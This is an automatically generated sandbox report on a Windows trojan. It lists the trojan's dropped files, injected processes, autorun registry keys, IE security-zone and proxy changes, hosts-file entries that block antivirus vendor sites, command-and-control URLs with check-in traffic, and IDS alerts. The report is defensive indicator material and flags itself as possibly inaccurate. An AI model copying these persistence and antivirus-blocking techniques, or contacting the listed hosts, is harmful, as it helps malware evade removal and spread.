DeepScan.Generic.Malware.SBVQg.A3B7958E_dfde49d04a

by malwarelabrobot on February 8th, 2015 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), DeepScan:Generic.Malware.SBVQ!g.A3B7958E (B) (Emsisoft), DeepScan:Generic.Malware.SBVQ!g.A3B7958E (AdAware), mzpefinder_pcap_file.YR, GenericDownloader.YR (Lavasoft MAS)
Behaviour: Trojan, Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: dfde49d04a3c114e739aaf5f9c0fd9f0
SHA1: 39b864290ee2126b9a492f3cc938c040f4cc90b5
SHA256: 724673d052699798131fded8ff424a819f3e2f69ae8415ef8c18274ecc27d690
SSDeep: 1536:n2LVBRGSey642RnwAgHcGqSl9kiAZ3 ww8PDdF3y :2BCSey64ws8GqSl9kiYuREdVt
Size: 97154 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: no certificate found
Created at: 2007-03-03 12:01:51
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The DeepScan creates the following process(es):

comine.exe:1948
ping.exe:968
%original file name%.exe:1812
seo5266.exe:1108
awx5266.exe:1188
dh5266.exe:524
cccccc.exe:844
ll5266.exe:840

The DeepScan injects its code into the following process(es):

conime5266.exe:260
spolsv.exe:196

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process spolsv.exe:196 makes changes in the file system.
The DeepScan creates and/or writes to the following file(s):

%WinDir%\Help\dh5266.exe (3013 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\seo5266[1].exe (9917 bytes)
%WinDir%\Help\conime5266.exe (45 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\dh5266[1].exe (16893 bytes)
%WinDir%\Help\ll5266.exe (24 bytes)
%System%\drivers\etc\hosts (402 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ll5266[1].exe (2907 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\conime5266[1].exe (7551 bytes)
%WinDir%\Help\awx5266.exe (9995 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\awx5266[1].exe (15682 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%WinDir%\Help\seo5266.exe (2692 bytes)

The DeepScan deletes the following file(s):

%System%\drivers\etc\hosts (0 bytes)

The process %original file name%.exe:1812 makes changes in the file system.
The DeepScan creates and/or writes to the following file(s):

%WinDir%\spolsv.exe (601 bytes)

The process awx5266.exe:1188 makes changes in the file system.
The DeepScan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\iplookup[1].htm (175 bytes)

The process dh5266.exe:524 makes changes in the file system.
The DeepScan creates and/or writes to the following file(s):

The process cccccc.exe:844 makes changes in the file system.
The DeepScan creates and/or writes to the following file(s):

%Program Files%\Windows Media Player\comine.exe (61 bytes)

The DeepScan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\~DF266.tmp (0 bytes)

Registry activity

The process conime5266.exe:260 makes changes in the system registry.
The DeepScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EC 39 E7 45 E0 C3 26 18 9F 98 97 E4 4D C9 F9 6F"

The process comine.exe:1948 makes changes in the system registry.
The DeepScan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"
"NetHood" = "%Documents and Settings%\%current user%\NetHood"
"Fonts" = "%WinDir%\Fonts"
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCR\yali]
"ID" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCR\yali]
"mac" = "fd:a4:da:fb:d2:94"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"PrintHood" = "%Documents and Settings%\%current user%\PrintHood"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKCR\yali]
"(Default)" = "daohang"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"SendTo" = "%Documents and Settings%\%current user%\SendTo"
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FB 21 AC 59 E0 6D 3C 00 60 50 A4 6F AD 76 E1 16"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Recent" = "%Documents and Settings%\%current user%\Recent"
"Favorites" = "%Documents and Settings%\%current user%\Favorites"

The process ping.exe:968 makes changes in the system registry.
The DeepScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4C A1 2F 16 BD DD 32 8C 06 DD 41 49 48 AB B3 F9"

The process spolsv.exe:196 makes changes in the system registry.
The DeepScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8B FF D0 C5 79 9C E0 FD 22 A5 94 C6 84 24 EF B6"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The DeepScan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The DeepScan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the DeepScan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"conime" = "%WinDir%\spolsv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The DeepScan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The DeepScan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process %original file name%.exe:1812 makes changes in the system registry.
The DeepScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9B 39 69 E8 96 F5 8D C6 C7 C2 2C 42 CA 30 50 F4"

The process seo5266.exe:1108 makes changes in the system registry.
The DeepScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3A 98 80 AE F8 97 E8 92 B1 9E 3E EA D6 AC 36 48"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

The DeepScan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The DeepScan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The DeepScan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process awx5266.exe:1188 makes changes in the system registry.
The DeepScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "11 7F 00 5A CA EE F5 74 62 84 A0 36 0F 44 D4 9B"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The DeepScan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The DeepScan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The DeepScan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The DeepScan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process dh5266.exe:524 makes changes in the system registry.
The DeepScan deletes the following value(s) in system registry:
The DeepScan disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Windows"

The process cccccc.exe:844 makes changes in the system registry.
The DeepScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4B A3 8B 6D 06 D8 2A 13 EC D9 83 E9 35 5E 9E DC"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Windows Media Player]
"comine.exe" = "comine"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The DeepScan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The DeepScan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The DeepScan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the DeepScan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Windows" = "%Program Files%\Windows Media Player\comine.exe"

The process ll5266.exe:840 makes changes in the system registry.
The DeepScan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A9 DC 6F 89 2A EC E1 6A 0A 06 9E 3D 36 80 A8 D8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

Dropped PE files

MD5 File path
57a20c291ac47a75e0274d52a2aab36b c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\conime5266[1].exe
433a350a9c531e431fe5ffa91e3c0d3c c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ll5266[1].exe
e415565ea9d7f3936c07aee187396f26 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\awx5266[1].exe
391545ec6af518ed54a155b5e544c8c8 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\dh5266[1].exe
e6fdd746e4d611e4d41f8a1504577768 c:\Program Files\Windows Media Player\comine.exe
e415565ea9d7f3936c07aee187396f26 c:\WINDOWS\Help\awx5266.exe
57a20c291ac47a75e0274d52a2aab36b c:\WINDOWS\Help\conime5266.exe
391545ec6af518ed54a155b5e544c8c8 c:\WINDOWS\Help\dh5266.exe
433a350a9c531e431fe5ffa91e3c0d3c c:\WINDOWS\Help\ll5266.exe

HOSTS file anomalies

The DeepScan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses.
The modified file is 402 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1 www.360.cn
127.0.0.1 www.kaspersky.com.cn
127.0.0.1 www.ijinshan.com
127.0.0.1 www.rising.com.cn
127.0.0.1 cn.trendmicro.com
127.0.0.1 www.symantec.com
127.0.0.1 sd.360.cn
127.0.0.1 www.eset.com.cn
127.0.0.1 www.avast.com
127.0.0.1 www.micropoint.com.cn
127.0.0.1 www.avira.com
127.0.0.1 www.avg.com
127.0.0.1 www.jiangmin.com
127.0.0.1 www.ggsafe.com
127.0.0.1 guanjia.qq.com


Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 40960 40960 4.50415 a193aee8354e1c1131872d2d0db70b6c
.rdata 45056 5028 8192 2.43557 ae167dac5cd7096a69a89a3fb1a988ed
.data 53248 49152 43906 4.19458 baac239c9d0728c6e100aa8942910c82

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js&t=17431.14 180.149.136.250
hxxp://www.it885.com.cn/num3.html 124.248.254.82
hxxp://www.it885.com.cn/num3_51la.asp 124.248.254.82
hxxp://www.it885.com.cn/web/get_ad3.asp?type=loadall&machinename=XP1-A8A67A25&cr=yes 124.248.254.82
dk.23145.com 124.232.141.61


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY HTTP Request on Unusual Port Possibly Hostile
ET TROJAN Gaboc Trojan Check-in

Traffic

GET /web/get_ad3.asp?type=loadall&machinename=XP1-A8A67A25&cr=yes HTTP/1.1
Accept: */*
Referer: 
Accept-Language: zh-cn
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)
Host: VVV.it885.com.cn
Connection: Keep-Alive
Cookie: 


HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 8
Content-Type: text/html
Expires: Sat, 07 Feb 2015 02:50:31 GMT
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDSCTDQARB=OIBAIJGCEEOCJADDGLHPPMOG; path=/
X-Powered-By: ASP.NET
Date: Sat, 07 Feb 2015 02:51:30 GMT
No China..


GET /iplookup/iplookup.php?format=js&t=17431.14 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: int.dpool.sina.com.cn
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 07 Feb 2015 02:51:18 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
Vary: Accept-Encoding
DPOOL_HEADER: skuld38
Content-Encoding: gzip
SINA-LB:aGEuMjE3LmczLnlmLmxiLnNpbmFub2RlLmNvbQ==
SINA-TS:ZDc5MjljY2UgMCAwIDAgMTEgMAo=
9a............5....0...W)..2..D....|.....a..4-.....^.....Z6..(8Q.(<
....0..].Y,..J.~..%..0.Xz..XN]?o.|....J.......jn.k...fi.....2V.<ear
..t..v..p...6}/?..........0..


GET /num3.html HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.it885.com.cn
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 15 Dec 2014 07:59:55 GMT
Accept-Ranges: bytes
ETag: "90466b1d3d18d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 07 Feb 2015 02:51:10 GMT
Content-Length: 37
<script src="num3_51la.asp"></script>....



GET /num3_51la.asp HTTP/1.1

Accept: */*
Referer: hXXp://VVV.it885.com.cn/num3.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.it885.com.cn
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 0
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDSCTDQARB=KFOPHJGCJFPNOOHOKLGFBOCN; path=/
X-Powered-By: ASP.NET
Date: Sat, 07 Feb 2015 02:51:10 GMT


GET /num3.html HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
If-Modified-Since: Mon, 15 Dec 2014 07:59:55 GMT
If-None-Match: "90466b1d3d18d01:0"
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.it885.com.cn
Connection: Keep-Alive


HTTP/1.1 304 Not Modified
Date: Sat, 07 Feb 2015 02:51:31 GMT
Etag: "90466b1d3d18d01:0"
....



GET /num3_51la.asp HTTP/1.1

Accept: */*
Referer: hXXp://VVV.it885.com.cn/num3.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.it885.com.cn
Connection: Keep-Alive


